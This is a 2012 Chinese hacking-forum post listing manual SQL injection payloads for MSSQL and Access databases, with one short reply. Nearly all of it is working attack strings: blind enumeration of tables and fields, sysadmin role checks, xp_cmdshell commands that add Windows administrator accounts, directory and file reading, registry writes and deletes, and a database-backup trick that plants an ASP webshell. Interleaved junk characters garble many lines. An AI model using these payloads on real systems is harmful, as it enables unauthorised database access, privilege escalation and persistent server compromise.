找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2611|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入 0 F2 e( G2 [4 L
1.判断是否有注入;and 1=1 ;and 1=2
) J* U4 h2 K/ {$ B- G3 E& {7 b. ^5 m5 e
2.初步判断是否是mssql ;and user>0
) v2 D( Z! M" s2 _4 r! W, t% `6 b1 U5 z
1 n! v, s8 d1 M# L7 B8 @; o3.注入参数是字符'and [查询条件] and ''='
+ p4 h* ]' R* h- T' W  c7 j! E8 O: b7 s2 I7 ?
4.搜索时没过滤参数的'and [查询条件] and '%25'='
& f! X; D/ s3 {+ G- ~  ~; x4 Y1 {) u3 ~  k8 t9 c6 h
5.判断数据库系统 4 G/ q0 I; a" R4 Y+ u/ g
;and (select count(*) from sysobjects)>0 mssql 0 H" Y' l- Z- J2 m$ C2 j( [
;and (select count(*) from msysobjects)>0 access
- X: A. C% M8 U
1 I8 @0 @5 B& x- D6 Y8 V( k0 `6.猜数据库 ;and (select Count(*) from [数据库名])>0
, C! U; A& S% o/ J/ e9 q3 a; F& P  A1 K
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ( }( Y3 L/ ]+ ]# J3 G2 }
; q3 ~* \9 V: M  ~) u8 J. H" ?
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6 {  J" E: _1 i: X% m

+ G/ N; ]' E* Y; K5 l9.(1)猜字段的ascii值(access) , ]8 N+ h) V" a6 X; @  ^% \
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 . I; }5 F: r- i6 Y% U

2 F4 K* D; P1 r1 P9 `$ `: H(2)猜字段的ascii值(mssql)
; S4 H0 k7 F' d% z& ~" `! @;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
0 v7 o; X9 i* _& L2 ^
( [. k& F0 U- a* V) Q, y5 k# F$ N+ [10.测试权限结构(mssql)
. ~! v- E! W3 B% s;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) X! O" S3 U( Y. k/ Y. \7 R9 G6 H;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
6 |% k9 }( u. N- H6 T;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
# _- X& Z1 Q2 a" c+ A;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
' g3 r3 [% P) ?0 o9 F;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
# ~% m5 s2 T4 E! w+ l- y;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 6 U/ }2 |  F* s6 ?, b8 f. @) q  w
;and 1=(select IS_MEMBER('db_owner'));--
/ I$ I2 k% c1 C1 A4 \5 |' k9 ~6 W( \. u8 S0 x7 s: C, V3 F! d
11.添加mssql和系统的帐户
" B: f% W4 ^8 G: Y;exec master.dbo.sp_addlogin username;-- / O7 r5 T/ o% T6 n
0 M3 F' k0 R4 m9 s: z$ S
;exec master.dbo.sp_password null,username,password;-- 4 {0 ]+ W9 r" G( _) v6 H" |3 x
$ |+ c  ~: D7 N$ R: W) q! B
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6 I0 b3 v: c3 W+ P9 ]

3 z0 R8 i2 b8 N' p+ o8 f8 s, c;exec master.dbo.xp_cmdshell 'net user username password
7 O# n# J$ Z% g, C/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- * \6 u: }! S- E
$ }/ }+ V2 I, I5 u/ X
;exec master.dbo.xp_cmdshell 'net user username password /add';--
" C2 k) ?+ M, {+ N: u2 J
+ p' L/ _! A& g" _" u* q;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
, M; V7 F2 N" M3 g+ k9 I; ]& h3 B+ ~5 |1 c& o$ @0 E* \& F
12.(1)遍历目录
" ?* v; m9 V" j  b5 X- k3 V: n/ m  Y) X" J
;create table dirs(paths varchar(100), id int) 2 C9 g+ j1 c: H3 v3 P- ?
;insert dirs exec master.dbo.xp_dirtree 'c:\' % |% z7 d& S' @. ?. B
;and (select top 1 paths from dirs)>0
# n4 I/ M5 F' \' T4 {8 C. X;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2 B5 }6 q$ O0 F1 Y

. g+ b4 Q" M+ Q7 H7 y. e5 _(2)遍历目录
5 T. U+ ^/ q# h2 ]$ _" X  b) K;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- & ~+ A" k3 r9 G" s6 W7 F' Y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
+ E5 y7 Y1 W# z;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 / q! `4 O, t, u  K6 }  L
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
% o+ `* H" @. A2 ?8 K: K" L;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
2 z9 a, [& I0 i8 j) c
8 I- _+ t9 |0 r5 y$ w13.mssql中的存储过程
& Y5 K  `- ~6 `! Z7 c$ R9 W
: Z# b/ J+ u% H) Fxp_regenumvalues 注册表根键, 子键
$ x, u' D8 Y8 Z- {" a$ G+ Y0 |;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 : r4 N! K; V! U# T0 f

. @3 \+ B) Q- txp_regread 根键,子键,键值名
1 T' L/ m! t- {/ K6 };exec xp_regread # e7 m9 n, G7 y# v4 \$ K/ _$ J
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ( j9 |- K, ^, ]$ ~* L

: j5 F, X0 Z" k! {% zxp_regwrite 根键,子键, 值名, 值类型, 值
- N( O5 Z0 }/ S3 k! D( |值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
! h' o) N4 {" C. V;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
" n7 y7 Y% m- m. K, `2 z' ?, o, H* F! G2 H; Z" J
xp_regdeletevalue 根键,子键,值名
3 O) g1 {8 @( F: L9 B
# G' {8 x/ V& g5 B" h! hexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 : \. n. Y3 ?$ ?7 `9 g
3 ]6 x7 a& i- p0 X) A9 c
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $ T$ ?9 O# H3 m

% r; M7 h$ x/ ^( T% }6 o14.mssql的backup创建webshell
' w- `% u5 A( ]- Ruse model 0 _5 z$ N% c0 l+ c; i" k4 Z
create table cmd(str image); 0 T7 X" z4 _; z1 q2 C; q
insert into cmd(str) values (''); 2 z3 r; b* E0 c2 `1 B- k
backup database model to disk='c:\l.asp'; 8 |3 d0 j0 F0 q- a' \+ d- X
1 K' P: h- ^, a- P! ?
15.mssql内置函数 7 |# s* }7 c8 d% K
;and (select @@version)>0 获得Windows的版本号 $ `1 t+ c* U* T/ g5 P
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 u# ]1 }' W; l" W* R;and (select user_name())>0 爆当前系统的连接用户 " |( j. ]/ `4 x6 d' h$ G$ U6 l( E
;and (select db_name())>0 得到当前连接的数据库 " U0 l( C( s. q: d. ~0 a2 |" a7 e

; |5 n1 q4 ]; h16.简洁的webshell ( \4 ^/ }2 M: f3 r: z4 v
* |1 J5 H/ r6 z1 S  i0 l
use model
& {/ I" x1 K3 G" Q! n) j% V. v
! B1 \- H# x, }2 n) Fcreate table cmd(str image); 6 E0 y. f+ w: G: E
, n1 q" X/ S8 `# i
insert into cmd(str) values (''); ' R$ X4 r) b7 z' g4 a* d. d5 h
0 i+ ~& \( T) P: C' E$ ]' u
backup database model to disk='g:\wwwtest\l.asp'; & W4 P: E0 q2 D, |

  H5 ]! i2 b: H3 h: `, Q  y, A
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表